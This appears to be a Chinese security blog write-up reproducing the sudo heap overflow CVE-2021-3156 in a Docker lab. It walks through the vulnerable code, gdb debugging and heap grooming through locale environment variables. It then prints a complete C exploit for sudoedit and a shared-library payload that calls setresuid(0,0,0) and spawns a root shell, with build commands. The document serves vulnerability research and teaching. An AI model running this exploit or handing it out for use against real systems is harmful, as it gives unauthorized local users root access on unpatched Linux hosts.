CVE复现之老洞新探(CVE-2021-3156)
环境搭建直接拉取合适的dockerdocker 环境:https://hub.docker.com/r/chenaotian/cve-2021-3156下载glibc-2.27源 2025-1-22 05:26:38 Author: www.secpulse.com(查看原文) 阅读量:11 收藏

环境搭建

直接拉取合适的docker

docker 环境:

https://hub.docker.com/r/chenaotian/cve-2021-3156

下载glibc-2.27源码和sudo-1.8.21源码

漏洞分析

    
   if (NewArgc > 1) {
       char *to, *from, **av;
       size_t size, n;

       
       for (size = 0, av = NewArgv + 1; *av; av++)
       size += strlen(*av) + 1;
       if (size == 0 || (user_args = malloc(size)) == NULL) {  
       sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
       debug_return_int(-1);
       }
       if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {  
       
       
       
       
       
       for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
           while (*from) {
           if (from[0] == '\\' && !isspace((unsigned char)from[1]))
               from++;
           *to++ = *from++;
           }
           *to++ = ' ';
       }
       *--to = '';
       } else {
       for (to = user_args, av = NewArgv + 1; *av; av++) {
           n = strlcpy(to, *av, size - (to - user_args));
           if (n >= size - (to - user_args)) {
           sudo_warnx(U_("internal error, %s overflow"), __func__);
           debug_return_int(-1);
           }
           to += n;
           *to++ = ' ';
       }
       *--to = '';
       }
   }
   }

Untitled

Untitled

Untitled

结合调试,可以对漏洞的情况有更清楚的了解。参数以反斜杠结尾会导致写入一个零字节而继续赋值下一个参数,在这里有两点:

①以反斜杠结尾可导致溢出

②以反斜杠作为参数可以写入零字节

同时,被溢出的那个堆块的大小等于对应参数长度+1。

漏洞调试

glibc源码

gdb exp
catch exec
b policy_check
b sudoers.c:846

b setlocale
b sudo.c:148
b setlocale.c:369 // strdup
b setlocale.c:398

b nss_load_library
gcc exp.c -o exp2 -lm

漏洞利用

1 利用目标

p ni

Untitled

可以发现service_user结构体在堆上

Untitled

堆块大小为0x40

nss_load_library的函数调用流程和相关的数据结构机制


static int

' (service_user *ni)
{
 if (ni->library == NULL)
   {
     
   
   
   
   
     static name_database default_table;
     ni->library = nss_new_service (service_table ?: &default_table,
                    ni->name);
     if (ni->library == NULL)
   return -1;
   }

 if (ni->library->lib_handle == NULL)
   {
     
     size_t shlen = (7 + strlen (ni->name) + 3
             + strlen (__nss_shlib_revision) + 1);
     int saved_errno = errno;
     char shlib_name[shlen];

     
     __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
                         "libnss_"),
                   ni->name),
             ".so"),
       __nss_shlib_revision);

     ni->library->lib_handle = __libc_dlopen (shlib_name);
     if (ni->library->lib_handle == NULL)
   {
     
     ni->library->lib_handle = (void *) -1l;
     __set_errno (saved_errno);
   }

通过对nss_load_library源码的分析,发现这里如果能将ni结构体的library覆盖为0,name覆盖成自己的so文件名,具体为libnss_XXX/test.so.2,其中libnss_是拼接的路径,XXX/test是name的值,.so.2是拼接上去的,拼接后libnss_XXX/test.so.2表示当前路径下libnss_XXX文件夹中的test.so.2,我们完成修改后,在当前路径下创建对应的文件夹,将恶意文件放到其中,更名为test.so.2,就能加载执行恶意文件。

2 堆块布局

接下来,就是需要想办法将这个service_user结构体放到存在溢出的堆块下面。

这就来到了第二个问题,setlocale 如何通过环境变量LC_* 进行堆布局。


     
     while (category-- > 0)
   if (category != LC_ALL)
     {
       newdata[category] = _nl_find_locale (locale_path, locale_path_len,
                        category,
                        &newnames[category]);

       if (newdata[category] == NULL)
         {
#ifdef NL_CURRENT_INDIRECT
       if (newnames[category] == _nl_C_name)
         
         continue;
#endif
       break;
         }

首先是通过_nl_find_locale函数去获取环境变量的值,存放在newdata[category]中


struct __locale_data *
_nl_find_locale (const char *locale_path, size_t locale_path_len,
        int category, const char **name)
{
   ......


       

   
   
   
   
       
       
       
       
 
 
 
 mask = _nl_explode_name (loc_name, &language, &modifier, &territory,
              &codeset, &normalized_codeset);
             
 if (mask == -1)
   
   return NULL;

 
   
 locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category],
                   locale_path, locale_path_len, mask,
                   language, territory, codeset,
                   normalized_codeset, modifier,
                   _nl_category_names.str
                   + _nl_category_name_idxs[category], 0);

 if (locale_file == NULL)
   {
     
   
     locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category],
                   locale_path, locale_path_len, mask,
                   language, territory, codeset,
                   normalized_codeset, modifier,
                   _nl_category_names.str
                   + _nl_category_name_idxs[category], 1);
     if (locale_file == NULL)
   
   return NULL;
   }

结合源码和相关资料,可以知道locale的命名规则为<语言>_<地区>.<字符集编码>,如zh_CN.UTF-8,zh代表中文,CN代表大陆地区,UTF-8表示字符集。例如C.UTF-8@AAAAAAAAA

堆申请原语和堆释放原语


     
     while (category-- > 0)
   if (category != LC_ALL)
     {
       newdata[category] = _nl_find_locale (locale_path, locale_path_len,
                        category,
                        &newnames[category]);

       if (newdata[category] == NULL)
         {
#ifdef NL_CURRENT_INDIRECT
       if (newnames[category] == _nl_C_name)
         
         continue;
#endif
       break;
         }

       
         
         
         
       if (newdata[category]->usage_count != UNDELETABLE)
         newdata[category]->usage_count = UNDELETABLE;

       
       if (newnames[category] != _nl_C_name)
         {
       if (strcmp (newnames[category],
               _nl_global_locale.__names[category]) == 0)
         newnames[category] = _nl_global_locale.__names[category];
       else
         {
           newnames[category] = __strdup (newnames[category]);
           
           if (newnames[category] == NULL)
             break;
         }
         }
     }

     
     composite = (category >= 0
          ? NULL : new_composite_name (LC_ALL, newnames));
     if (composite != NULL)
   {
     
     for (category = 0; category < __LC_LAST; ++category)
       if (category != LC_ALL)
         {
       setdata (category, newdata[category]);
       setname (category, newnames[category]);
         }
     setname (LC_ALL, composite);

     
       
     ++_nl_msg_cat_cntr;
   }
     else
   for (++category; category < __LC_LAST; ++category)
     if (category != LC_ALL && newnames[category] != _nl_C_name
         && newnames[category] != _nl_global_locale.__names[category])
       free ((char *) newnames[category]);
       

先使用__strdup函数在堆内存中分配空间,并将newdata[category]拷贝进去,其中

char * __strdup(const char *s)
{
  size_t  len = strlen(s) +1;
  void *new = malloc(len);
  if (new == NULL)
     return NULL;
  return (char *)memecpy(new,s,len);
}

然后当遇到不合法的区域的值时,就会将前面申请的堆都free掉。

locale把按照所涉及到的使用习惯的各个方面分成12个大类,这12个大类分别是:

1、语言符号及其分类(LC_CTYPE) 

2、数字(LC_NUMERIC)

3、比较和习惯(LC_COLLATE)

4、时间显示格式(LC_TIME)

5、货币单位(LC_MONETARY)

6、信息主要是提示信息,错误信息,状态信息,标题,标签,按钮和菜单等(LC_MESSAGES)

7、姓名书写方式(LC_NAME)

8、地址书写方式(LC_ADDRESS)

9、电话号码书写方式(LC_TELEPHONE)

10、度量衡表达方式 (LC_MEASUREMENT)

11、默认纸张尺寸大小(LC_PAPER)

12、对locale自身包含信息的概述(LC_IDENTIFICATION)

对应

"LC_CTYPE"
"LC_NUMERIC"
"LC_TIME"
"LC_COLLATE"
"LC_MONETARY",
"LC_MESSAGES"
"LC_ALL"
"LC_PAPER"
"LC_NAME"
"LC_ADDRESS"
"LC_TELEPHONE"
"LC_MEASUREMENT"
"LC_IDENTIFICATION"

其中,处理是从下往上的顺序处理的,所以在传参的时候要注意一下顺序,不然最开始就错误全部释放掉了。

接下里就是想要如何将一个service_user申请到前面我的堆块前面

可以在申请service_user前,先利用堆申请原语和堆释放原语挖好坑。由于知道service_user的chunk大小是0x40,而我们堆溢出的chunk的大小可以自己控制,只要保证大小对应,就可以了。

通过动态调试可以明确__strdup的参数是C.UTF-8@XXXXXX,所以得到的堆块size是参数长度+1,利用下面脚本生成目标size的内容。

length = 0x38
while(length < 0x100):
   tail = 'C.UTF-8@'
   # length = 0x48
   q = "a"*(length-2)+"\\"
   p = tail+'a'*(length-1-len(tail))
   print(hex(length))
   print(q)
   print(p)
   length += 0x10

经过测试,先按照0x40,0x40,0xa0,0x40的顺序设置4个,再设置一个不合法的,可以在中间一些无法避免的堆块操作后得到一个可利用的堆排布。最后设置一个非法的值。

"LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_ADDRESS=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_NAME=xxxxxxxx"

其中0xa0是为堆溢出的堆块留的坑

    
   if (NewArgc > 1) {
       char *to, *from, **av;
       size_t size, n;

       
       for (size = 0, av = NewArgv + 1; *av; av++)
       size += strlen(*av) + 1;
       if (size == 0 || (user_args = malloc(size)) == NULL) {
       sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
       debug_return_int(-1);
       }

在malloc前下断点·

b sudoers.c:849

查看bins,可以看到tcachebins中0xa0正好有一个堆块

Untitled

然后在nss_load_library下断点,查看service_user

b nss_load_library
p ni

Untitled

可以看到前面0xa0的堆块在service_user的前面,这样就可以通过溢出覆盖name字段

所以填坑的参数按照前面的分析应该是

"a"*(0x98-1)+"\\"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\"

综合得到如下初步exp

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<math.h>

#define __LC_CTYPE               0
#define __LC_NUMERIC             1
#define __LC_TIME                2
#define __LC_COLLATE             3
#define __LC_MONETARY            4
#define __LC_MESSAGES            5
#define __LC_ALL                 6
#define __LC_PAPER               7
#define __LC_NAME                8
#define __LC_ADDRESS             9
#define __LC_TELEPHONE          10
#define __LC_MEASUREMENT        11
#define __LC_IDENTIFICATION     12

char * envName[13]={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELEPHONE","LC_MEASUREMENT","LC_IDENTIFICATION"};

int main()
{
   char *argv[] = {"sudoedit","-s","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\",NULL};
   char *env[] = {"XXX/test","LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_ADDRESS=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_NAME=xxxxxxxx",NULL};
   execve("/usr/local/bin/sudoedit",argv,env);
}

3 溢出利用

Untitled

当前exp把XXX/test写到了0x555555623b07

Untitled

此时的service_user在0x5555556241b0,name的偏移是0x30

start = 0x555555623b07
end = 0x5555556241b0+0x30
n = end-start
print(n)
for i in range(n):
   print('"\\\\"',end=',')  

前面知道以反斜杠作为单独的参数,能够写入\x00,由于这里需要把library字段覆盖为0,所以通过上述代码生成相应数量的反斜杠,并填在XXX/test前,将XXX/test填入name的同时将library填为0。

共1753个反斜杠

exp

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<math.h>

#define __LC_CTYPE               0
#define __LC_NUMERIC             1
#define __LC_TIME                2
#define __LC_COLLATE             3
#define __LC_MONETARY            4
#define __LC_MESSAGES            5
#define __LC_ALL                 6
#define __LC_PAPER               7
#define __LC_NAME                8
#define __LC_ADDRESS             9
#define __LC_TELEPHONE          10
#define __LC_MEASUREMENT        11
#define __LC_IDENTIFICATION     12

char * envName[13]={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELEPHONE","LC_MEASUREMENT","LC_IDENTIFICATION"};

int main()
{
   char *argv[] = {"sudoedit","-s","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\",NULL};
   char *env[] = {"\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","XXX/test","LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_ADDRESS=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_NAME=xxxxxxxx",NULL};
   execve("/usr/local/bin/sudoedit",argv,env);
}

Untitled

覆盖结果如上

拼接完成后会执行

      
     __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
                         "libnss_"),
                   ni->name),
             ".so"),
       __nss_shlib_revision);

     ni->library->lib_handle = __libc_dlopen (shlib_name);
     if (ni->library->lib_handle == NULL)
   {
     
     ni->library->lib_handle = (void *) -1l;
     __set_errno (saved_errno);
   }

通过__libc_dlopen打开文件

Untitled

4 提权收工

最后编译后门test.so.2,并放入libnss_XXX文件夹

这里借用CVE-2021-3156:sudo堆溢出提权漏洞分析-腾讯云开发者社区-腾讯云 (tencent.com)中的代码

#define _GNU_SOURCE 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define EXECVE_SHELL_PATH "/bin/sh"

static void __attribute__ ((constructor)) pop_shell(void);
char *n[] = {NULL};

void pop_shell(void) {
   printf("[+] executed!\n");
   setresuid(0, 0, 0);
   setresgid(0, 0, 0);
   if(getuid() == 0) {
       puts("[+] we are root!");
   } else {
       puts("[-] something went wrong!");
       exit(0);
   }

   execve(EXECVE_SHELL_PATH, n, n);
}
gcc -fPIC -shared test.c -o libnss_XXX/test.so.2
chmod 777 libnss_XXX/test.so.2

提权效果

Untitled

总结

这个老洞新探,还是挺有意思的, 从源码分析到动态调试,整个过程对程序调试的能力有很大的锻炼。在这个洞的利用中,思路是比较清晰的,但在堆排布那里,由于中间会有很多其他的堆块操作是我们不可控,就会存在较大困难,要么通过逆向分析梳理所有的堆块操作然后手动构造,要么就是通过fuzz。前者费时费力,而且存在很多问题,后者需要对fuzz进行一定的学习。在盲目手动构造的过程中,好不容易在service_user之前留下了坑,但还是遇到了几种情况,一是在没有加溢出的时候的service_user结构体的地址和加了溢出字符后的不一样,二是在根本走不到nss_load_library就崩溃了,三是修改了最近的一个service_user结构体,但并没有用。

总的来说,这个洞还有很多可以学习的地方,后面学学fuzz后再来试试这个洞。

本文作者:[email protected]

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/205000.html


文章来源: https://www.secpulse.com/archives/205000.html
如有侵权请联系:admin#unsafe.sh